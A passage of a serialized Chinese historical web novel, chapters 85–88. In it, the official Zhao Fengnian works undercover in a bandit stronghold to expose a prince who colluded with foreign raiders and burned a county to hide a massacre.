“嘿,还真不是!”顾子升一拍手,“我就不说了,要不是你,怕是我还在临县做小县令呢,也许是又调去了其他地方当县令,顶多知府走到底了,就是户部的张谦,也多少是沾了你的光,北地那片,多多少少都升了官,柳大尺都成校尉了,还有齐晟,你不治理好北地,也没他的位置,至于你们你们那届的探花,苏锦章,也终于跳出了翰林院,如今谁都说说你赵大人是禄神呢!” 赵丰年哭笑不得。 这时候,刚说到的张谦跟苏锦章便过来了,众人相互见了礼,这才一起进了大殿。 “他怎么也来了?正是晦气。” 赵丰年顺着顾子升这话看过去,竟是顾子昂,那就不意外了。 “听说,太平侯府二房最近蹦跶得厉害。”傅时瑾低声跟赵丰年提了一句,他是大理寺的,自然对这些了如指掌。 “前几日,我看见了太平侯府的折子,还在提给二房半个家产一事。” “这种拎不清的,要不是念在已去的老太平侯的面子上,陛下怕早就收拾了。 ” 太平侯偏袒二房,不顾礼法,先是多年来多次请立二房为世子,失败后又不甘心非要将家产的大半分给二房,已经叫人看了多年的笑话了,要不是顾子升如今是刑部侍郎,怕是太平侯还不会送口只分走一般呢。 赵丰年摇摇头。 天元帝年纪大了,精神却还抖擞,跟群臣看完了大半的歌舞才离席,又赏赐了几个大臣,表示对他们礼品的满意。 赵丰年的礼物放在一众并不出挑,却也得了一套文房四宝,叫众人看得又是羡慕又是嫉妒。 “陛下可正是信重赵侍郎。” 会试前,赵丰年偶然得知,顾家村小顾秀才竟在去年中了举人,今年也来参加了会试。 “这是好事,顾夫子一直醉心于教书育人,如今能走到会试,实属难得,等会试结束,我再宴请顾夫子。” 赵来贺也是这个意思,赵丰年本来就在避嫌,更何况是怀江府来的举子呢。 会试放榜后,小顾夫子榜上有名,虽在中下,但是凭此也能得个三甲进士了,赵丰年便在家中宴请了小顾夫子。 小顾夫子名寻正,如今三十有五,蓄了一把美髯,见到赵丰年第一时间便笑了,而后跟他行礼。 “夫子这是做什么,可别折煞了学生。”赵丰年笑着拦了下来。 “以前,你为学子,我为先生,如今你贵为吏部尚书,内阁学士,又是会试主考官,算是是这届学子的坐席先生,颠倒了个,于情于理,我自然是要向你行礼了。” 赵丰年笑,“顾夫子再这么客气,丰年可不敢请了夫子继续喝茶了。” 顾寻正哈哈一笑,“我便知道,你还是原先的你,外面都说了,咱们怀江府出了一个二品大官,今次主持会试,起初我就在猜想定然是你了,果不其然。” 赵来贺巧娘十分热情地招待了他。 顾寻正的名次不算高,年纪也在这里了,殿试的名次不会有太大的改动,大概是留侯考核分到各地补缺了。 果不其然,五月底的时候,顾寻正来跟赵丰年道别,去往西北一个边陲小县当县令。 “听闻自从西北军剿匪后,那边已经不再是人人闻风丧胆了,再说,上一任县令不也平安无事待了六年嘛。” “虽说如此,但是还是聘几个护卫相送为好,顾夫子来京城没多久,对这里不甚熟悉,倘若不介意,我替夫子你寻几个,你且再等几日?” 顾寻正感激不尽,自然没有拒绝。 只是,顾寻正刚走一个多月,赵丰年就在内阁看到了西北送来的折子。 西北山匪占山为王,杀死了两县县令。 满朝哗然。 正当朝廷义愤填膺商量派谁去剿匪之时,赵丰年陪傅轻雪回傅府之时,傅时瑾提到了五皇子。 “五皇子起初在西北大营,四年前,西北山匪作乱,便是他带领人前去剿匪的,那时候你还在北定府,他也是因为这事被陛下看重,那西北大营都是五皇子的旧识,怕是别人沾不了手。” 果然,两日后,天元帝便任命了五皇子挂帅,亲自前往西北剿匪。 赵丰年看着太子笑眯眯的脸,总觉得风雨欲来。 第86章 第86章剿匪 顾寻正刚出发一个多月,倘若不巧刚好撞上那些山匪,怕是危在旦夕,赵丰年心中焦急,却无法离京,便飞鸽传书去了北定府。 北定府,收到信的赵青青立马找到了赵小云。 “我明白了,索性这里距离那边近,我会立马传信附近的商队前往勾戎县寻人。” 赵丰年料想的不错,此时顾寻正确实落入了山匪俘虏之中,他也是没想到西北的山匪这么多,要不是那些护卫拼命相救,早在刚踏入西北的时候,他就被杀害了,对比如今成为俘虏,起码还能喘口气。 俘虏中有人哭了起来,顾寻正叹了口气。 “你们放心,这些山匪连害了两个县令,朝廷肯定已经知晓此事了,一定会派人来救我们的。” 旁边的人哭丧着脸,“你想的太简单了,朝廷怎么会管我们这些人的死活。” “朝廷当然会管,四年前,朝廷的五皇子就带着西北军清扫山匪,这回一定也会派人前来剿匪的。” “四年前剿匪?你不是本地人吧?四年前说是剿匪,我们这些人是没看见一个山匪的,就光看着那些人骑着马来骑着马走,说是勾戎县住了山匪,围起了整个县,那火光恨不能把天都烧着了,后面就说山匪没了,可是,等那些官兵都走了,山匪还不是该出来的出来,该作恶的作恶!” 顾寻正心中咯噔一声,他要赴任的,正是勾戎县的县令。 “那勾戎县的百姓?” “自是都没了,说是被山匪杀了。” “敢问,如今勾戎县可有人居住?” 那人奇怪地看了眼顾寻正,“自然是没有的,也许地下几个村子里零星有几户人家,不过这也难说,经过那事后,有刚好不在家的,后面知道了这事,谁还会留在那地方。” 顾寻正心里更加震惊了。 照这样说,勾戎县名存实亡,可是四年了,朝廷居然不知道? 京城,得知五皇子率兵抵达西北,对上山匪的第一战,就打得一群山匪落花流水,天元帝十分满意。 而没等高兴多久,一个月后,却传来了五皇子的人马遭到了埋伏,误入敌人陷阱,损失惨重。 天元帝脸黑如墨,朝堂上议论纷纷。 这时,兵部尚书孙昭站了出来,提议派军支援。 “如今戎地太平无事,两地距离不远,可派镇北军前往西北支援。” 赵丰年惊讶地看了眼孙昭。 事实上,无论是太子党还是五皇子党派之人,都对孙昭提出这个决议感到惊讶。 “可是,戎地归属我大夏才不久,为了以防万一,镇北军还是驻扎戎地为好。” “镇北军如今是分了两支驻军就在北定府外,刚好可以前去。” 五皇子的人。 赵丰年看了一眼就收回了目光。 这场博弈到底还是太子党胜利了,镇北军即将支援西北。 赵丰年却总觉得这里面太顺利了,索性告了个病假,称病在家了 而这边,镇北军去西北后,很快就跟五皇子的人马会合,西北传回战报,说曹勇跟五皇子打算即日攻打西北势力最大的青风寨。 只是,还没等朝中众臣听到捷报,却先传来了消息,说五皇子失踪了,顿时朝野上下又是一片哗然。 天元帝大怒,扬言正要发兵扫平西北。 “没想到,五皇子失踪一事竟让陛下这般动怒,看来五皇子失踪也未尝不是一件好事。” 太子嗤之以鼻,“不过是因为有人践踏了皇家、践踏了他的面子罢了,父皇真是老了。” 幕僚可不敢评价这话。 “既然父皇这么心疼五弟,那咱们也该父皇分忧才是。” 赵丰年以为自己躲在家里就没事了,却没想到直接接了圣旨,让他任钦差大臣前往西北调查五皇子下落。 “这事怎么也不该是你来做啊?”傅轻雪疑惑又担忧。 赵丰年叹了口气,心想终究还是没躲过。 “博弈罢了,我走后,家里就闭门谢客吧。” “你放心,我一定会照料好家里。” 第二日,赵丰年就带着大胖轻装出发了,其他人随后出发。 等到了西北,本想先去见曹勇,却先见到了柳大尺。 “阿年?大胖?你们怎么来得这么早?”柳大尺很惊讶。 “我们是先行一步掩人耳目,队伍还在后面呢,大尺哥,你这身衣服真威武!果然当了校尉就是不一样!” 柳大尺笑了,“多亏了彭将军跟曹副将提携,对了,曹副将去了青峰山,我们听到阿年任钦差大臣的消息,算着日子,以为你们要下个月到呢。” “事不宜迟,我们这就去见曹副将,大尺哥,你带我们过去吧,顺便路上跟我们讲讲,到底发生了什么事,怎么好端端的五皇子会消失不见?照理说,他是皇子,身边护卫重重,即便是跟山匪正面对上,也不至于伤了他去。” 柳大尺这才娓娓道来。 “所以,那天是五皇子主张进攻?” “对,我们也觉得奇怪,一般来说,我们都会跟对方喊话,先看看能不能动摇山匪军心,只是五皇子却一上来就打断了我们,只说那些山匪都是烧杀抢掠、无恶不作之徒,下令直接进攻,我们虽然是朝廷派下来支援的,但这里到底还是西北军的主场,西北军听从五皇子的指令,直接进攻了,而 后混乱中,等结束了一场混战,就发现五皇子不见了。” “有没有可能,是五皇子被山匪抓去了?”大胖疑问。 “我们前面也想过这个可能,只是,倘若青峰寨真俘虏了五皇子,绝不可能一两个月来一点动静都没有。” “还真是个迷呢。”大胖嘟囔了一句。 不多时,一行人就赶到了青峰山山脚。 “赵大人?您今日就到了,上回戎地一别,一年未见,赵大人又高升了。”曹勇胡子拉碴,满脸疲惫,看得出这些日子压力不小,只是他见到赵丰年却很高兴。 “曹副将也是,如今都成副将了,只是曹副将虽然着急剿匪,又要寻找五皇子的下落,也要顾及自己身体才是。” 曹勇叹了口气。 “赵大人不知,自从五皇子下落不明,那西北军的常将军就一而再再而三问我要人,这里青峰寨又不敢松懈,实在是分身乏术。” “西北军为何要问曹副将要人,我记得,当日一同剿匪,应该是两军一起行动的?” 曹勇苦笑,“那日,出发前,常将军本想派人保护五皇子,却被五皇子拒绝了,让西北军成为剿匪主力,而后让我们的人跟着他,我们自无异议,只是谁成想,就在眼皮子底下,人就不见了!于是,西北军坚持称是我们镇北军没有保护好五皇子,一定要我们把人找出来,不然就要上报朝廷治我们的罪,本来说限我们一个月,后来实在没法子了,这事也瞒不住,索性我们主动报给了朝廷,末将本来还担心来的是个不好说话的大人,没想到竟然是赵大人你,听到这消息,我们这些人一下子就放心了,想着赵大人肯定有法子找出人来。” 赵丰年沉思片刻,“我也未必能找到人,只是曹副将,你还需跟我好好说说这西北山匪情况,各势力分布。” 曹勇自然巴不得都告诉他,好让他一下子就把人找到。 赵丰年听完也没头绪,而这时,营帐外传来了一阵嘈杂声。 “怎么回事?” “出去看看吧。” 几人出了营帐,只见几个士兵押着一个衣衫不整的少年,少年拼命挣扎。 “曹副将,方才弟兄们在山脚下巡逻,却见这小子偷偷摸摸、躲躲藏藏从山上下来,定是那青峰寨的山匪!这才押了他来。” 曹副将双眼一亮。 “干得好!”随即盯着那少年不错眼,“你就是青峰寨的山匪?你下来做什么?你们是不是抓了五皇子?!” 那少年挣扎不过索性放弃了,那双眼桀骜不驯,闻言“呸”了一声,“我去山上摘野果也不行?你们只知道欺负人,还不知道谁是人谁是匪呢!” “我劝你不要垂死挣扎,你当真不说,我们也有各种刑具,届时由不得你不开口了!” “是又如何?既然被你们发现了,你们要杀要打都随便!我要是喊一个疼,就不是顶天立地的男子汉大丈夫!” 赵丰年闻言上前,上下打量着那少年。 “你,你看什么看,不要以为你们换了一个人我就害怕了,人固有一死,或轻于鸿毛,或重于青峰山,我是比青峰山还重,到时候直接压得你们这些人动弹不得!” 赵丰年笑了,“我听你说话,想是读过几日书的?” 那少年先是一愣,随即隐约有些自豪,“自然,别拿你们那套来想我们,我们可是有自己的夫子的,我们夫子学问可厉害了,这要是放在以前,都能当官了,要是夫子当了官,肯定不会跟你们这些不分青红皂白的官员同流合污。” 赵丰年跟柳大尺对视一眼,大胖见状便问:“真这么厉害我们怎么没听过,你夫子叫啥?” “顾——你想套我话?果然,你们这些人就是狡猾,我是绝对不会出卖夫子的!” 少年很快就被带了下去,赵丰年忽然问道,“曹副将,大尺哥,你们这些日子可见过京城派下来的官员?他是怀江府临县人士,来西北赴任勾戎县县令一职。” 柳大尺疑惑,“勾戎县?可是,这个县早在四五年前,就没了啊。” 见他不解,柳大尺解释,“应该是在四五年前,勾戎县进了一群山匪,那些人屠杀了整个勾戎县,还放了一把火,据说,那火烧了整整三天才熄灭,是五皇子带着西北军围剿了山匪,替勾戎县惨死的百姓报了仇。” 第87章 第87章大火 “阿年?你还好吧?”大胖有些不放心。 赵丰年摇摇头,“我怀疑青峰寨里的夫子,是顾夫子。” “你是说,顾夫子没有去勾戎县,被掳到了山上,成了山匪们的夫子?”大胖惊讶,“那这些山匪,还挺爱读书的。” 柳大尺沉思片刻,“这说明,山寨里有不少孩子,青峰寨规模怕是比我们想象的还要大。” “他们不是普通的山匪。”赵丰年凝神,“大尺哥,我要潜入青峰山。” “不不不,你怎么能去呢?我知道,你是想去打探消息,但是那些山匪实在是太警觉了,我们的人盘踞在这里一个多月了,也只能靠近外围,一旦进入内围,就会被他们的人发现,你要是出了事,我怎么跟姑母姑丈交代?” “这么说,他们消息也很灵通?” 柳大尺叹了口气,“这附近的村民,会暗中帮山上的人递消息,我们前些日子才隐约察觉到此事,这也是为何曹副将坚决反对常将军想要放火烧山的原因,我们怕伤及无辜。” “常胜不知此事?” “他很自大,也许不知道。” “山匪多数是过不下去了才入了山,普通百姓的多,西北军镇压剿灭过多次山匪,怎么会不知道,再说,五皇子人消失了,极大可能被掳到了山上,他也还要坚持放火烧山?就不怕误伤到了五皇子?” “我也想过这个问题,只是曹副将认为,常将军是想要逼山上的人一把。” “人哪里控制得了火想怎么烧。” 赵丰年还是打算打入山寨内部,柳大尺拦不住,只是他自己这张脸已经暴露了,只得吧期望都放在了大胖身上,还要再安排几个将士之时,却被赵丰年拦住了。 “将士身上的气质跟普通人是不一样的,青峰寨的人只怕是都不陌生,一眼就能认出。” 很快,赵丰年让就冒充来寻人的富家公子被抓上了山。 “二当家,这是头肥羊,那车上的好东西多着呢,有粮有银子,这回咱们又再撑下去了!” 那个被叫做二当家是个干瘦干瘦的男子。 “确定身份没问题?怎么会这么巧从这边路过?” 那带队抓人的嘿嘿一笑,“路上咱们小弟也都问过了,说是来寻亲的,我估摸着是外头来的行商,不知道西北情况,随口扯了一个出来,这几年,从北地还有青岚两州来的行商也多了起来,虽然知道咱们这地界山匪横行,可咱们没有那丰收油,生意好做,许又是一个想要铤而走险的呢?” 那二当家却没真的相信了,“底下的,你有家人在勾戎县?” 赵丰年敛眸,“并无。” “你看,二当家,果然是个走商的,他那车里还有一些丰收油呢,谁寻亲会带上这些?” 二当家盯着赵丰年,似乎是等他的回答。 赵丰年看了那二当家一眼,“这位好汉说的不错,我确实是个散商,也确实是打算来西北做点小买卖,之所以说是寻亲,也不是假话,我家有小财,自小就去私塾读书,而教我读书的一位顾夫子前些日子来了西北,后面就渺无音信了,身为学生,我又在西北附近做生意,自然就想着来寻寻人,顺便瞧瞧这边的生意是否好做了。” “顾夫子?难道是?”那领头的看了眼二当 家。 “去请顾夫子来认一认。” “是!” 那领头的离开了,赵丰年看了眼二当家,若有所思。 不多时,领头去而复返,还带了一位穿着长褂的男子,不是顾寻正还是谁。 “顾夫子,还真的是您啊!”大胖惊讶。 顾寻正抬头一看,也是一惊,“大胖,阿年?你们怎么来了?” 赵丰年眸中含笑,“顾夫子,我跟大胖听说您来了西北,便想着也来西北掺合一脚丰收油的生意,给您写了信也没见您回的,索性就自己先过来了,这不是,刚走到这地界儿,就被几位好汉抓到山上来了。” 顾寻正略一思索就明白了,当即一拍大腿,“嗨,误会,都是误会,说来也是无奈,自打你们去了府城做生意后,我不知怎么得罪了王县令,待不下去了,想着我姨丈一家在西北勾戎县,索性就来投靠他们了,届时换个地方再继续开个私塾,谁成想,兜兜转转来了青峰寨,又得知勾戎县都没了,也多亏几位当家赏识,能让我在山上继续教孩子们开蒙读书,如今也算是是有了个落脚之地。” “竟然是这样,实在是世事难料,其实,夫子的事,我也听人提起过,正是因为这样,担心夫子之下,才沿路打听着来了这里。” “还真是顾夫子学生呢,难怪这行商一股子书生味儿。” 顾夫子仿佛这才回过神来,连忙朝二当家笑着解释,“二当家,朱三爷,两位见谅,这是我从前在岚州的学生,二位能不能放他一马?实在不行,哪怕留他在寨子里跟我一起教孩子们读书也成,他当时学问是我那私塾中最好的,要不是因为那可恶的王县令,去参加科举定然能榜上有名!” “既然确实是顾夫子的旧相识,就留下吧,如今清醒特殊,离开是不可能了。” 顾夫子连忙拜谢,“多谢二当家!我们都明白,阿年,你刚来西北还不知道这里的情况,如今留在山上说不定还能保你一命呢!快谢谢二当家!” 赵丰年从善如流,“多谢二当家!” 如此这般,赵丰年顺利留在了青峰寨。 顾寻正将人带去了自己的住处,一路上,遇到了玩闹的孩子,在家门口搬个兀子择菜的妇人,山间田地除草的汉子,众人见到顾寻正,会笑着叫“顾夫子”,待看到他身后的赵丰年大胖,脸上都带着或好奇或警惕。 倘若不是知道这里是山匪的老窝,赵丰年或许会认为这就是个寻常山中村落。 “赵大人!”一到住处,顾寻正就正了色,“你怎么会来这里?” 大胖自觉去了门边守着。 “顾夫子刚离开,朝廷得知西北山匪再次猖獗,一连杀了两个县令,便派五皇子领兵剿匪,五皇子接连失利,又令镇北军支援,却不想前不久,跟青峰寨交手中,五皇子下落不明,陛下龙颜大怒,任我为钦差大臣,寻找五皇子下落,也为了了解这边情况,随时上报。 前两日我们抓到一个从山上跑下去的少年,说起了山上的顾夫子,所以我便猜测,顾夫子没去勾戎县,许是在山上,而西北山匪一事,处处充满疑虑,索性扮作行商,想要一探究竟,好在顾夫子机智,同我配合无间,只是,夫子,为何你会成为青峰寨的教书先生?” 顾寻正无奈,“我刚一到西北,就遇到了好几波山匪,官府官印都被抢了,好在你替我请的几位护卫本领高强,这才保住了一命,好不容易到了勾戎县附近,却得知勾戎县没了,我还没从这个消息回过神来,就被抓到了这山上,当了几日的俘虏,好在这青峰寨大当家二当家刚好想要给寨子里的孩子们请一位先生,我这才成了他们夫子了。” “原来是这样。” “想必你也看到了,这青峰寨其实跟旁的山匪不一样。” “无论怎么不一样,成了山匪,朝廷就不会不管,西北军的常将军坚持要火烧青峰山,不留活口,曹副将多次顶住压力周旋,这才争取了时间,不知夫子这些日子都探到了什么消息?那勾戎县五年前被山匪屠县又是怎么回事?青峰寨到底有没有抓五皇子?” 顾寻正大恸,“是五皇子,五年前,扫荡勾戎县的不是山匪,是戎人!五皇子勾结的戎人!” 赵丰年大惊。 “此事当真?” “青峰寨没有抓五皇子,至少我没有听他们提过,而关押俘虏那边,自从山下有了驻军后,已经很久没有新人了,但是,五皇子勾结戎人一事,确是真的。” 赵丰年沉思。 “无论是塔坚还是金圣,都说不认识大夏五皇子,我本以为,是他手底下人贪图富贵,现在想来,戎地本就非铁桶一块,各部族之间利益博弈,怕是塔坚也不清楚各部族情况。” “我不了解戎人那些事,但是据我这些日子观察,西北山匪们有穷凶极恶者不假,但更多的是被人烧杀抢掠没了家,不得已才上了山,当了山匪,我打听来的消息是,四五年前,五皇子所谓的带西北军剿匪一事,或许是一场做戏。” “此话怎讲?” “赵大人或许不止,这里的百姓很多都是勾戎县附近的百姓,他们都是起初的受害者,据他们所说,那些所谓的‘山匪’是忽然之间出现的,没有人不知道山匪都是从哪里来的,只说他们语言不通,穿着倒是大夏人衣服式样,但是长相发式却跟大夏人不一样,骑着高头大马,抢完就走,马术了得。” “所以你猜测,那些当初夺掠的所谓山匪,其实是戎人所扮,他们伙同旁人,演了一场戏,一方得到了粮食财宝,另一方就出面驱逐救下一些百姓,立功又得了民心?” 顾寻正苦笑,“我也是想了许久,才想到这里,没想到你一下子就猜到了。” “勾戎县。” 顾寻正一脸沉痛,“许是哪里出了纰漏,又或者是那些戎人杀红了眼,见惯了顺从喊逃命的,却没想到竟然有人会奋起反抗他们,动了手,屠尽了勾戎县的百姓,又放了一把火,烧了这一切的罪证。” “我听闻是五皇子拦截了逃窜的山匪,尽数绞杀。” “不,不是的,五皇子放走了那些山匪,不,那些戎人,然后说为了替百姓陪葬,一起在勾戎县烧了。” “但是这些也只是猜测,也许并非我们猜想这般。”毕竟都是活生生的人命,五皇子怎么敢呢。 “赵大人想要证据,也是有的,青峰寨二当家,他是勾戎县的幸存者,他见过五皇子跟戎勾结的场景,而勾戎县的百里坟场,应该会有大人想要的物证。” 赵丰年闭了闭眼,“我暂时走不了,但是,怕是再找不到五皇子,曹副将也顶不住了。” “我有办法让大人离开,只是,这里的人或多或少都有亲人或亲戚在那场火里丧生,都是可怜人,大人能否跟朝廷求情,放他们一马?” 赵丰年正思考着,忽然大胖警觉起来。 “阿年,有情况。” 不多时,外面忽然出现了哭闹声。 几人察觉不对劲,连忙往外走查看情况,却见山下起了浓烟。 “一定是常胜!他在放火烧山!可恶!” “可是,你们不是还在山上,他们怎么——难道是——”顾寻正惊魂不定地看着赵丰年。 “恐怕正如夫子所猜想,有人又演了一出消失戏码,将我骗到西北,得知我进了山,便想杀人灭口了。” 大胖紧张,“阿年,如今怎么办,冲下山去嘛?顾夫子,这里还有其他路吗?” 顾寻正苦笑,“我只是个教书先生,他们这些东西还是不会让我知晓的。” “为今之计,只能跟几位当家谈谈了。”赵丰年看着正大步朝这边走过来的朱二,笑了。 “朱三爷,你们这是做什么?为何要绑我们?”顾寻正惊疑不解。 “你说为什么,他们一来,山下就放火了,这二人定是探 子!顾夫子,我们待你不薄,你竟然跟他们一起出卖我们!” 赵丰年一行人很快就被带到了大当家,二当家那边,辞世,议事堂已经站满了人,见状,赵丰年彻底放下心来。 二当家一双眼睛盯着赵丰年。 “你瞧上去好像并不担心啊,我们是该叫你阿年呢,还是赵大人呢?” 赵丰年并不意外二当家知道自己的身份,“你们都不急,我自然也没什么担心的,青峰寨到底在这山中生活多年,一点退路都不留,岂不是很容易被瓮中捉鳖,至于名字,不过一个称呼罢了,我本名赵丰年,二当家叫阿年也好,赵大人也罢,都没社什么影响。” “你果然是朝廷的走狗!”朱三气愤不已。 “二弟,这人真是朝廷的钦差?”大当家问了。 二当家还是盯着赵丰年,“自然,从小便被冠以‘神童’之名,帮扶乡里,让临县成为整个怀江府乃至整个岚州最富裕的县,十六岁成为大夏朝最年轻的状元,只用了四年便让北定府从一穷二白到衣食无忧,富裕堪比江南,而后在戎族和谈崩溃之时力缆狂澜,以势不可挡趋势直接打得戎族跪地求饶,让金圣王臣服归属大夏,至此只有北戎府,而无戎地,读书人都说此功堪能封侯,所以,赵大人之名,怎么没听说过呢。” 赵丰年又笑了,“看来,二当家对朝廷当真是积怨已久,本官这些事都如数家珍。” 大当家却惊喜不已,“他就是赵丰年赵大人?赵大人河的赵大人?那咱们是不是有救了,也是不是能报仇了?我听说赵大人乃当世青天,慈悲为怀,爱民如子!” 赵丰年有些汗颜,却听到众人七嘴八舌议论开了。 最后还是大当家发话了,“二弟,快让人松绑啊!这可是赵大人!” “我可以相信赵大人吗?” 赵丰年看着二当家,“我想,二当家心里已经有答案了,否则也不会将我们带到这里来了。” “可这么一大帮人,我总要有个定心丸。” 赵丰年想了想,“这么说吧,我也是被五皇子骗来的,不是我上了山底下就放火了,而是因为我上了山,所以底下才会放火。” 这话其他人听来或许还有些绕口,但是二当家听懂了。 五皇子想要杀了赵丰年。 敌人的敌人,就是朋友。 “给赵大人松绑!” 赵丰年活动了手腕,一边说一边往外走,“事不宜迟,走密道离开再说。” 见他们都没动,赵丰年疑惑回头,“难不成,密道通口在这里?可是这通道挖起来岂不是太费劲?连通不到隔壁山头,还是有被发现的可能。” 二当家心服口服,“果然不愧是赵大人,这边请!” 山下,柳大胖第一时间将刀架在了常胜脖子上,“柳大尺,你这是干什么!以下犯上,你好大的胆子!” “你明明知道赵大人上了山,却转头放火,我现在怀疑你意图谋杀朝廷命官,天子犯法与庶民同罪,更何况常将军不过是将军罢了!” “他赵丰年上山,焉知是勾结山匪,还是什么,他奉命来找五皇子,如今五皇子自己回来了,他却去了山上,是和道理?” 柳大尺气愤不已,“你们这是圈套!现在,你要么派人去灭火,要么,我现在就绑了你去山上找人!” 常胜被那刀压得喘不上来气,“疯子,你这个疯子!” 而另一半,五皇子看着那场大火,满意不已。 “曹副将,你就守在此处,等火灭了,再带人去山上把那些山匪的尸体找到,挂在闹市,以儆效尤。” 曹勇气愤不已,却又不得不听。 这场火烧了一天一夜,柳大尺拼命召集人灭火之时,却收到了一份信。 看了信后,柳大尺终于停止了灭火,其他人只当他心死了,却不知他明面上将自己关在屋内,暗中却去了勾戎县。 五皇子这边得知曹勇跟柳大尺都放弃了救人,十分满意。 “不能为我所用,就应该是这样的下场,火是个好东西,会将一切掩埋。” 常胜谄媚一笑,“还是殿下足智多谋,一箭双雕。” “也派人去山上找找,我可不想留在任何活口。” “是,殿下。” 第88章 第88章通敌 柳大尺在一家客栈等了三天才见到了赵丰年,当即双眼一亮。 “阿年!” “东西拿到了?” 柳大尺点点头,“拿到了,按你的要求,都好好收起来了,青峰寨说的不错,确实是戎人的兵刃。” “人证物证俱在,也是时候了。” 五皇子被请到府衙的时候,还一脸不耐烦,得知有人告他勾结戎人,草菅人命,顿时笑了。 “哪里来的刁民,还是说山匪?什么时候民可告皇子了,再说,就是本皇子敢来,你一个知府,敢开堂审理皇子吗?皇家的事,也是宗人府或大理寺的事,还是说,你想要越俎代庖了?” 知府汗如雨下,正要解释,却见赵丰年一身官服从后堂走了过来。 “钱知府没有资格,不知钦差大臣如何?” 五皇子目眦欲裂,“赵丰年,你竟然还活着。” “是啊,下官命大,不巧,还活着,五殿下,日前,下官收到一份状纸,说的是朝廷的五皇子勾结戎人,立功心切,竟令那些戎人扮作山匪,在西北勾戎县一带肆意抢夺,而后,五皇子再领人驱赶做戏。” “荒唐!赵丰年,你好大的胆子,竟敢如此诬陷本皇子!我是皇子,岂有勾结戎人践踏百姓的道理!” “对啊,下官也很好奇,为何五皇子堂堂皇子,竟然做出这种罄竹难书之事?那些戎人屠戮勾戎县百姓,为了替他们隐瞒,竟然一把火烧毁整个戎县,放走人后谎称已经悉数剿灭,将百姓的尸体当作山匪尸体领功,实在是天理难容!” “赵丰年,你放肆!”五皇子脸黑如碳。 “五皇子殿下,也不用惊慌,毕竟,本官人证物证,都有,据青峰寨的人说,勾戎县可是留下了戎人的刀具。” “就凭山匪的几句话,还有几把破刀,你就想定本皇子的罪?我看你赵丰年才是该被治一个勾结山匪的罪才是。” “五殿下否认五年前那伙人是戎人?” 五皇子有些不耐烦,“不是都说了吗,就是山匪。” “可是当初却有人看到了五皇子同戎人勾结的现场。” “你说那些山匪头子?呵,这种人的话也能相信吗?” “那刀具呢?五皇子可知,这些人刀都是勾戎县搜出来的,据记载,勾戎县没有这种弯刀。” “那就是山匪用的,那些山匪本皇子悉数剿灭,为了祭奠惨死的勾戎县百姓,本皇子特意将那些山匪扔进了火里。” 赵丰年看了他一眼,“可是,这可是戎人的工艺,也是戎人常使的一种刀具,五皇子口口声声说是山匪,那山匪又为何会有戎人的佩刀呢?” 五皇子瞳孔一缩,却转瞬恢复冷静,“也许那些山匪遇到过一群戎人,发生了冲突,所以抢夺了戎人的刀具也未可知,毕竟,山匪就是到处抢夺的。” 赵丰年定定地看着五皇子,忽然就笑了。 赵丰年知道当然知道这点证据五皇子定然不会认,索性他的目的也不是让他现在就承认。 “既然如此,那看来那些刁民确实是误会了殿下,五殿下放心,我定然会在发往京城的折子里刚好替殿下解释,绝不会让陛下误会了殿下。” 五皇子目光阴骘,脸上笑容却不变。 “那本皇子倒还要感谢赵大人了。” “职责所在,不敢担五殿下的谢。” 见完五皇子,赵丰年让大胖取了信匣去了驿站,而后马上找到了曹勇跟柳大尺。 “曹副将,本官要你马上召集人马把守西关城,任何人不得进出,柳校尉,你带领小队组成游击队埋伏、拦截。” 曹副将跟柳大尺瞬间意识到事情的 严重性了。 “赵大人,发生什么事了?” “如果我所猜不假,这几日就会有一股山匪,不,是戎贼,进攻西关城,我大概知道他们会从哪个方向而来,是以可埋伏在他们必经之路上拦截,他们人数未知,或有人会趁乱取我性命,钦差的队伍里应当是有内应,我还需要你们另派两位将士保护我。” 柳大尺大惊,“有我在,看谁敢动你!” 赵丰年给了他一个含笑的目光。 “可是赵大人,这里是西北军的主场,我们是不是应该跟常将军商议一番?”曹勇有些疑虑。 赵丰年看了他一眼,“曹将军,西北军已经不是过去的西北军了。” 曹勇震惊,随即就想到之前跟常胜打交道的种种,却也不得不同意,赵丰年说的是对的。 “柳校尉,你有伏击戎人的经验,我们的战术不变,游击队必须由你带领,不用担心,希望是我想错了,他也许不打算鱼死网破。” 可是赵丰年没有想错,三更刚过,城外就传来了一阵阵动静。 大胖噌的一下站了起来,“阿年!” “走吧,上城楼。” 从城楼望过去,西关城外不远处火光四射。 而赵丰年还没来得及松口气,却又听到了一阵阵兵戈相交的声音。 “他们果然有后手!阿年,别在城墙上待着了,他们的目标是你,太危险了!” “正是因为他们的目标是我,我才要站在这里,不然,他们怎么能找到我呢。” 城里的百姓早就被惊醒了,一片惊恐不安。 “五皇子可还在驿站?” 一人站了出来,“下面的人刚传话来说,一柱香之前,五皇子已经离开了驿站。” “那就好,跟曹副将传信,不要恋战,速战速决!” “是!” 西关城里的百姓发现,外头动静虽然不断,城里却太平无事,一时间都想知道,是不是没事了。 “是不是结束了?” 五皇子也想知道这个问题。 “他就在城墙上站着,他们都没能杀了他?都是一群废物!让常胜赶紧来见我!” 几乎是常胜安排的人来到城墙上的一瞬间,赵丰年就发现了。 “我只当戎人会扮作山匪,什么时候西北军也同流合污扮山匪了?莫不是早有勾结?” 那几人心中大惊,立马冲上前来。 赵丰年却举起了弩箭,一箭命中为首的人。 “还等什么,拿下!” 簇拥着赵丰年的众人猛地回过神来,当即跟对方缠斗在一起。 “阿年,人来了,可以下去了吧?”大胖护着赵丰年,生怕出了闪失。 “来不及了。” 随着一声话落,只见城墙下,城内的西北军蜂拥而至,为首的不是常胜跟五皇子还是谁。 赵丰年的眼神跟五皇子对上。 只见他勾唇一笑。 “赵大人被山匪所围,众将士听令,马上围剿匪贼,营救赵大人!” 大胖一脚踹飞一个黑衣人,“他奶奶的,这个五皇子说是围剿山匪,其实就是要我们的命!” “五皇子,你勾结戎人攻我城墙,如今为了杀人灭口竟不管不顾,莫要一错再错了!” 不知谁喊了一了句,城墙下的五皇子脸黑如碳。 直接拿弓箭,对着城墙上就是一箭。 赵丰年应声倒地。 “快来人啊,五皇子勾结戎人,杀人灭口啦,赵大人中箭啦——” 这时,柳大尺一把大刀冲上城墙,身后是看不清的骑兵,领头的那人沉着一张脸驱马上前。 “西北军常胜叛变,勾结戎人,刺杀朝廷命官,细数拿下!” 五皇子看着那个人影,一张脸白了又白。 “张康!” 对于西关城的百姓而言,这一夜虽然饱受煎熬,彻夜难眠,但是除此之外,好像也没什么了,毕竟到了第二天一早,除了发现城楼上的官兵好像换了一批人,别的就没什么了。 可是对西关城的官员将领,尤其是西北军的很多将士来说,昨夜的大战不亚于变了天了。 